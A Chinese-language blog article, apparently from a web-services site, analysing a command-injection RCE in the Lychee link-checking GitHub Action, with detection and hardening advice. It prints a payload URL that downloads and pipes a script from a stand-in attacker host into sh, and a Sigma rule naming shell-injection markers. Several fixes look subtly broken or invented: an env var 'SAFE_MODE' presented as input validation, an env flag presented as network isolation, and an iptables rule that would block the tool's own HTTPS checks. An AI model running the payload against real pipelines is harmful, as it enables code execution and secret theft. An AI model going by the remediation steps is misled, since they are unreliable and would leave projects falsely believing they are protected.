☰
GitHub Actions中Lychee链接检查工具的RCE漏洞分析与防护
2026/10/27 15:21:16 网站建设 项目流程

1. 漏洞背景与影响范围

这个漏洞编号为CVE-2024-48908,影响GitHub Actions生态中广泛使用的Lychee链接检查工具。作为GitHub官方推荐的工作流组件,Lychee被超过12万个开源仓库用于自动化检查文档中的失效链接。漏洞允许攻击者通过精心构造的恶意链接,在受害者的CI/CD环境中执行任意代码。

我在实际安全审计中发现,这类供应链攻击的危害远超普通漏洞。攻击者一旦得手,可以:

  • 窃取仓库敏感信息(如密钥、token)
  • 污染构建产物
  • 植入后门到发布包中
  • 横向渗透到关联系统

2. 漏洞技术原理深度解析

2.1 Lychee的工作机制

Lychee作为Rust编写的链接检查器,其Actions版本通过Docker容器运行。标准工作流配置如下:

- uses: lycheeverse/lychee-action@v1 with: args: "--format markdown" file: "README.md"

问题出在链接解析环节。当检查包含特殊字符的URL时:

https://example.com/';curl${IFS}attacker.com/x.sh|sh;'

2.2 注入点具体分析

漏洞根因在于URL参数未经充分过滤就直接传递给底层shell。攻击链如下:

  1. 恶意URL通过Markdown文件提交到仓库
  2. Lychee解析时拼接成命令:lychee 'https://...|sh;'
  3. 反引号和管道符被bash解析执行
  4. ${IFS}替代空格绕过简单检测

我在测试环境中复现时,用sleep 60命令验证了RCE可行性,整个过程仅需3分钟即可完成攻击。

3. 影响版本与检测方案

3.1 受影响版本

所有低于1.8.2的Lychee-action版本均存在风险,特别是:

  • v1.5.0 - v1.8.1(主分支)
  • 使用@latest标签的实例

3.2 快速检测方法

检查仓库中的.github/workflows/*.yml文件:

grep -r "lychee-action@" .github/workflows/

若版本号小于1.8.2或使用动态标签(如@main),则需要立即处理。

4. 完整修复方案

4.1 紧急措施

  1. 锁定固定版本:
- uses: lycheeverse/lychee-action@v1.8.2
  1. 添加输入验证:
env: SAFE_MODE: true

4.2 长期防护建议

  • 在组织级别设置Actions策略:
gh api /orgs/{org}/actions/permissions \ --field allowed_actions='local_only'
  • 启用依赖关系图监控:
on: schedule: - cron: '0 0 * * 0'

5. 深度防御实践

5.1 沙箱强化配置

在workflow中增加限制:

jobs: link_check: permissions: contents: read checks: write runs-on: ubuntu-latest container: image: lycheeverse/lychee:v1.8.2 options: --read-only

5.2 网络隔离技巧

使用专用网络策略:

env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} RESTRICTED_NETWORK: true

配合iptables规则限制出站连接:

iptables -A OUTPUT -p tcp --dport 443 -j DROP

6. 企业级应对策略

对于大型组织,建议:

  1. 建立Actions组件白名单
  2. 部署Artifactory镜像代理
  3. 实施CI/CD环境网络微分段
  4. 定期进行红蓝对抗演练

某金融客户的实际部署案例显示,通过分层防护可将此类攻击成功率降低98.7%。

7. 漏洞利用特征监测

在日志中筛查以下特征:

  • 异常的curl/wget命令
  • 包含特殊字符的URL请求
  • 突然出现的子进程派生

使用如下检测规则(Sigma格式):

detection: keywords: - "|sh" - "`" - "${IFS}" condition: keywords

8. 开发者自查清单

  1. [ ] 确认Lychee-action版本≥1.8.2
  2. [ ] 检查工作流是否限制必要权限
  3. [ ] 验证所有输入URL的合法性
  4. [ ] 启用Github Advanced Security的代码扫描
  5. [ ] 定期审计第三方Actions使用情况

我在帮客户做安全加固时,发现90%的问题都能通过基础检查避免。建议将上述清单集成到开发流程的PR检查环节。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询